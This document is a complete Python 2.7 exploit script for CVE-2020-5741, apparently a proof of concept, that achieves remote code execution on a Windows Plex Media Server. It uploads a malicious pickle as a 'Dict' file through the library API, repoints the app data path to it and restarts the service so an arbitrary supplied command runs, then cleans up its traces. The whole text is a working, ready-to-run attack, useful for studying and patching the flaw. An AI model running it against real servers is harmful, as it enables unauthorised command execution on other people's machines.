text: import pickle, subprocess
  import os, requests
  import sys
  import json, time
  
  # Author: Chris Lyne
  # CVE-2020-5741
  # https://www.tenable.com/security/research/tra-2020-32
  # Must run with Python 2.7
  
  # This is the object to be unpickled
  class EvilPickle(object):
      def __init__(self, command):
          self.command = command
      def __reduce__(self):
          return (subprocess.Popen, ((self.command,),))
  
  def create_photo_library(target, token, path):
      url = target + '/library/sections'
      params = {
          'name'          : 'EvilLib2',
          'type'          : 'photo',
          'agent'         : 'com.plexapp.agents.none',
          'scanner'       : 'Plex Photo Scanner',
          'language'      : 'en',
          'location'      : path
      }
      headers = {
          'Accept' : 'application/json',
          'X-Plex-Token'  : token
      }
      return requests.post(url, params=params, headers=headers)
  
  def add_dict_to_lib(target, token, the_dict, album_name, locationId):
      url = target + '/library/metadata'
      params = {
          'createdAt' : '1171387901',
          'filename' : album_name + '/Plex Media Server/Plug-in Support/Data/com.plexapp.system/Dict', # write to here
          'locationID' : locationId,
          'sectionID' : 3,
          'type' : 13
      }
      headers = {
          'Content-Type' : 'application/octet-stream',
          'X-Plex-Token' : token
      }
      return requests.post(url, params=params, headers=headers, data=the_dict)
      
  
  def set_local_app_data_path(target, token, path):
      url = target + '/:/prefs'
      params = {
          'LocalAppDataPath' : path,
          'X-Plex-Token' : token
      }
      return requests.put(url, params=params)
  
  def restart_service(target, token, service="com.plexapp.system"):
      url = target + ('/:/plugins/%s/restart' % (service))
      params = {
          'X-Plex-Token' : token
      }
      return requests.get(url, params=params)
  
  def delete_library(target, token, libraryId):
      url = target + "/library/sections/" + str(libraryId)
  
      headers = {
          'X-Plex-Token' : token
      }
  
      return requests.delete(target, headers=headers)
  
  ### main
  
  if len(sys.argv) < 4:
      print "Usage: <target> <token> <os command>"
      sys.exit(1)
  
  target = sys.argv[1]    # http://192-168-1-192.bc45cb21e94043e098e106ba64027187.plex.direct:32400
  token = sys.argv[2]     # this is X-Plex-Token
  command = sys.argv[3]   # e.g. calc.exe
  
  # create photo library at C:\Users\Public
  lib_path = 'C:\\Users\\Public' # windows
  print "Creating evil photo library"
  res = create_photo_library(target, token, lib_path)
  
  if res.status_code != 201:
      print "Error creating photo library"
      sys.exit(1)
  
  json = json.loads(res.text)
  locationId = json['MediaContainer']['Directory'][0]['Location'][0]['id']
  print "Got location id: " + str(locationId)
  
  # create evil pickle and save it as dict file
  print "Creating evil pickle file"
  exploit = EvilPickle(command)
  evil_dict = pickle.dumps(exploit, protocol=2)
  
  print "Adding evil Dict to library"
  album_name = 'myalbum'
  res = add_dict_to_lib(target, token, evil_dict, album_name, int(locationId))
  
  if res.status_code != 200:
      print "Error adding dict to library"
      sys.exit(1)
  
  # set local app data path to our remote SMB share
  app_data_path = lib_path + '\\' + album_name
  print "Setting local app data path to '%s'" % (app_data_path)
  set_local_app_data_path(target, token, app_data_path)
  
  # restart system service
  print "Restarting service"
  restart_service(target, token)
  print "Waiting for service to reload"  # give service a chance to reload
  print "Did your payload fire?\n"
  
  # reset local app data path
  print "Resetting app data path"
  set_local_app_data_path(target, token, "")
  restart_service(target, token)
  
  # delete library
  print "Deleting library"
  res = delete_library(target, token, 18)
  
  print "Done"
  